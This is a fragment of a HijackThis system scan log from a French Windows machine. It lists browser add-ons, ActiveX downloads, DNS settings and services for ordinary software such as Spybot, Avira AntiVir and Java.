O8 - Extra context menu item: E&xporter vers Microsoft Excel - res://C:\PROGRA~1\MICROS~2\Office10\EXCEL.EXE/3000
O9 - Extra button: (no name) - {CD67F990-D8E9-11d2-98FE-00C0F0318AFE} - (no file)
O9 - Extra button: (no name) - {DFB852A3-47F8-48C4-A200-58CAB36FD2A2} - C:\PROGRA~1\SPYBOT~1\SDHelper.dll
O9 - Extra 'Tools' menuitem: Spybot - Search & Destroy Configuration - {DFB852A3-47F8-48C4-A200-58CAB36FD2A2} - C:\PROGRA~1\SPYBOT~1\SDHelper.dll
O16 - DPF: {4F1E5B1A-2A80-42CA-8532-2D05CB959537} (MSN Photo Upload Tool) - http://gfx1.hotmail.com/mail/w3/pr01/resources/MSNPUpld.cab
O16 - DPF: {6E32070A-766D-4EE6-879C-DC1FA91D2FC3} (MUWebControl Class) - http://update.microsoft.com/...
O16 - DPF: {D27CDB6E-AE6D-11CF-96B8-444553540000} (Shockwave Flash Object) - http://fpdownload2.macromedia.com/get/shockwave/cabs/flash/swflash.cab
O17 - HKLM\System\CCS\Services\Tcpip\..\{3404C9AD-EBFC-4296-9730-4861F1CE804D}: NameServer = 217.27.32.5,213.228.0.168
O23 - Service: Avira AntiVir Planificateur (AntiVirSchedulerService) - Avira GmbH - C:\Program Files\Avira\AntiVir Desktop\sched.exe
O23 - Service: Avira AntiVir Guard (AntiVirService) - Avira GmbH - C:\Program Files\Avira\AntiVir Desktop\avguard.exe
O23 - Service: Java Quick Starter (JavaQuickStarterService) - Sun Microsystems, Inc. - C:\Program Files\Java\jre6\bin\jqs.exe
O23 - Service: lxcr_device - - C:\WINDOWS\system32\lxcrcoms.exe